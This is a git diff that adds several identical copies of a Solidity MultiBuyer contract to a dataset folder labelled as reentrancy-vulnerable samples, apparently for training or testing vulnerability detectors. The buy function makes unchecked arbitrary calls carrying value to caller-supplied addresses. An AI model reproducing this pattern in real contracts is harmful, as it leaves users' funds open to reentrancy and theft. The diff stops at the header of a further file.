0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/609.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/668.sol b/smart_contract_dataset/reentrancy vulnerability/668.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/668.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/670.sol b/smart_contract_dataset/reentrancy vulnerability/670.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/670.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/678.sol b/smart_contract_dataset/reentrancy vulnerability/678.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/678.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/717.sol b/smart_contract_dataset/reentrancy vulnerability/717.sol new file mode 100644 index 